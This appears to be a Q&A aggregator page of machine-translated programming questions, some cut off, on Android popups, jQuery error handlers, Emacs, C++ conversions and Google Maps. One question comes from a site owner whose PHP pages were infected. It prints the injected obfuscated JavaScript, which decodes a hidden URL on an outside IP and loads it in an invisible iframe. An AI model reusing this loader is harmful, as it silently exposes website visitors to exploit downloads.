当我单击列表活动中的项目时,我会显示一个弹出窗口.问题是后退键不会关闭它.我尝试在列表活动中捕获后退键但它没有注册它...然后我尝试将onkeylistener注册到我正在传递到弹出窗口的视图中.像这样:
pop.setOnKeyListener(new View.OnKeyListener() {
@Override
public boolean onKey(View v, int keyCode, KeyEvent event) {
// TODO Auto-generated method stub
boolean res=false;
if (keyCode == KeyEvent.KEYCODE_BACK && event.getRepeatCount() == 0) {
// do something on back.
Log.e("keydown","back");
if (pw.isShowing()) {
Log.e("keydown","pw showing");
pw.dismiss();
res = true;
}
} else {
res = false;
}
return res;
}
});
Run Code Online (Sandbox Code Playgroud)
传递给像这样的弹出窗口:
pw = new PopupWindow(
pop,
240,
70,
true);
Run Code Online (Sandbox Code Playgroud)
但那个听众既不会开火也不会开火.你能帮助我吗?我没有想法:)
我正在重写我所有的ajax调用以使用jquery方法(更清晰的代码!)并声明了一个默认的ajaxError函数,如下所示:
$(document).ajaxError(function(event, request, settings){
alert("there was some error.. boo");
});
Run Code Online (Sandbox Code Playgroud)
我的ajax调用具有自己定义的错误函数,我不希望上面的默认值为:
$.ajax({ url: url,
success: function(data){
// do something
},
error: function (r, textStatus, errorThrown) {
// let's do something here regarding the error
alert("Oh no! Something went terribly wrong in here!");
// just trying this to see if it will stop any other events (ie default ajaxError)
event.stopImmediatePropagation();
}
});
Run Code Online (Sandbox Code Playgroud)
但是,现在我有几个ajax调用,我想在ajax调用中声明一个错误函数.我希望通过在ajax调用中声明一个错误函数,它将替换我定义的默认错误调用.但这似乎并非如此,因为我继续首先得到我的ajax函数错误调用,然后我也看到上面的代码执行.
我尝试从我的ajax错误函数中调用event.stopImmediatePropagation()希望它会阻止进一步的事件触发(即:默认错误事件)但除了告诉我在firefox中"事件"未定义之外没有做任何事情.
有任何想法吗?我希望我不必经历并为每个ajax调用定义一个错误函数.如果归结为那,我会的.刚想我会问.
谢谢,马特
我通常在emacs中使用定义新的键绑定
"C-x (" --> (command kmacro-start-macro)
"C-x )" --> (kmacro-end-macro)
(name-last-kbd-macro)
(insert-kbd-macro)
但它生成的代码看起来与我在各种主要/次要模式和其他emacs实用程序中读取和修改的代码不同.是否有emacs工具简化击键表示?理想情况下,从ahk击键表示法转换为任何理智的emacs击键表示法.
编辑:其他一些阅读清除我的困惑: Jari Aalto的键绑定指南.
我正在使用一个漂亮的小Jquery自动加载并刷新div每个bla bla秒.在所有浏览器上都能完美运行,然后我加载IE并发出惊喜没有运气!:(
的index.html
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/
libs/jquery/1.3.0/jquery.min.js"></script>
<script type="text/javascript">
var auto_refresh = setInterval(
function ()
{
$('#load').load('reload.php').fadeIn("slow");
}, 10000); // refresh every 10000 milliseconds
<body>
<div id="load"> </div>
</body>
</script>
Run Code Online (Sandbox Code Playgroud)
reload.php
<?
echo time(); //just a timestamp example..
?>
Run Code Online (Sandbox Code Playgroud)
有什么想法吗?
我有一个密码页面,当有人输入错误的密码时,我想简单地挫败蛮力攻击
bool isGoodPassword = (password == expected_password);
lock (this)
{
if (!isGoodPassword)
Thread.Sleep(2000);
}
Run Code Online (Sandbox Code Playgroud)
我希望这将允许所有正确的密码而不会停止,但如果一个用户输入错误的密码,另一个用户的另一个成功密码也将被阻止.但是,锁似乎不是lock跨ASP.NET线程.没有意义.
这有效:
#include<cstdio>
class A{
public:
A(int a):var(a){}
int var;
};
int f(A obj) {
return obj.var;
}
int main() {
std::cout<<f(23); // output: 23
return 0;
}
Run Code Online (Sandbox Code Playgroud)
虽然这不是:
#include<cstdio>
class A{
public:
A(int a, int b):var1(a), var2(b){}
int var1, var2;
};
int f(A obj) {
return (obj.var1 + obj.var2);
}
int main() {
cout<<f(22, 23); // error: conversion from 'int' to
// non-scalar type 'A' requested
return 0;
}
Run Code Online (Sandbox Code Playgroud)
第二段代码不起作用,但我找不到足够好的理由.对我来说,代码看起来太奇怪了.
但是在这种情况下只允许一次隐式转换的实际原因是什么?它是一个像这样唯一的语言功能吗?
我对现代Windows软件如何用C++编写非常感兴趣.我问过曾经从事Windows软件工作的朋友,他告诉他最后的工作是MFC,然后是WTL.他说MFC不再是现代的,但仍然使用WTL,但他不太了解.他还说WTL不是那么现代,在此之前他用纯Windows API编程.
如何为Windows Vista或Windows 7编写软件?你还在使用WTL吗?那么MFC和纯Windows API呢?或者现在有其他图书馆吗?
我不太了解它,但是在编写现代Windows软件时,C#还是其他.NET语言取代了C++?
问题:
在我的网站空间上有PHP文件,所有这些都以此结尾:
<?php include 'footer.php'; ?>
Run Code Online (Sandbox Code Playgroud)
在此行之前,文件中还有HTML代码.
浏览器中的输出以此结束,当然:
</body>
</html>
Run Code Online (Sandbox Code Playgroud)
但昨天,最后突然出现了一些恶意代码.我的index.php的输出是:
</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Run Code Online (Sandbox Code Playgroud)
我在我的网站空间上打开了文件(通过FTP下载),我看到有人把这个代码放到了文件中!
怎么会发生这种情况?
我能想象的唯一方法:
症状:
用户报告在Firefox中弹出一个蓝色面板.它要求他们安装一个插件.现在他们中的一些人在他们的PC上有Exploit.Java.CVE-2010-0886.a.
这是由于恶意代码?代码到底做了什么?
你能帮助我吗?
请帮帮我,我真的很绝望.
也许还有一个问题,如果你知道我怎么能得到它:我怎么能在将来阻止这样的事情呢?
编辑#1:
我在我的网站空间的根目录中找到了一个名为"x76x09.php"的文件.它的文件大小为44.281字节.我已下载并尝试打开它.但我的防病毒软件称它是一种木马(Trojan.Script.224490).我认为此文件已被执行并将恶意代码添加到每个目录中的"index.php".这有帮助吗?该木马如何进入我的网站空间?这是一个众所周知的病毒吗?
编辑#2:
我的主机说他现在可以确定该文件没有通过FTP上传.所以感染不是通过FTP发生的.根据我的主机,它必须是不安全的脚本.
编辑#3:
根据PHPSecInfo的安全漏洞:
编辑#4:
我已经分析了在我的网络服务器上执行的文件.这是结果. …
下面是我的代码(不要担心模块顶部有USUW)
我正在测试数组引用是否是只读的,如果是这种情况,那么我将它复制到另一个数组引用.测试显示该数组不是只读的,但是当它运行时,它会因该错误而失败.(对于那些你不熟悉的我或Smart::Comments--those ###的Smart::Comments.)
### readonly( $arg_ref ) : readonly( $arg_ref )
### readonly( @$arg_ref ) : readonly( @$arg_ref )
my @ro = map { readonly( $_ ) } @$arg_ref;
### @ro
if ( readonly $arg_ref ) {
$arg_ref = [ @$arg_ref ];
}
return map { my $val = shift @$arg_ref;
$_ => $val
} @_
;
Run Code Online (Sandbox Code Playgroud)
这是我得到的输出:
### readonly( $arg_ref ) : 0
### readonly( @$arg_ref ) : 0
### @ro: [
### 0, …Run Code Online (Sandbox Code Playgroud) 我正在使用新的Google Maps v3 STYLED MAP.
我想根据缩放级别更改地图的样式.
我有以下伪代码,如何根据缩放级别更改我的地图样式?
var myOptions = {
zoom: zoom,
center: latlng,
disableDefaultUI: true,
navigationControl: true,
scrollwheel: false,
navigationControlOptions: {style:
google.maps.NavigationControlStyle.SMALL,position:
google.maps.ControlPosition.TOP_RIGHT},
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var mapStyleZoomedOut = [{ featureType: "landscape",
elementType: "all",
stylers: [{ visibility: "off" }]
}];
var mapStyleZoomedIn = [{ featureType: "landscape",
elementType: "all",
stylers: [{ visibility: "off" }]
},{
featureType: "poi",
elementType: "all",
stylers: [{ visibility: "off" }]
}];
map = new google.maps.Map(document.getElementById("find-map"),
myOptions);
var styledMapOptions = {map: map};
var styleMapType = new …Run Code Online (Sandbox Code Playgroud) javascript ×3
c++ ×2
jquery ×2
ajax ×1
android ×1
api ×1
asp.net ×1
c# ×1
constructor ×1
emacs ×1
google-maps ×1
locking ×1
perl ×1
php ×1
popupwindow ×1
readonly ×1
security ×1
virus ×1
windows ×1
wtl ×1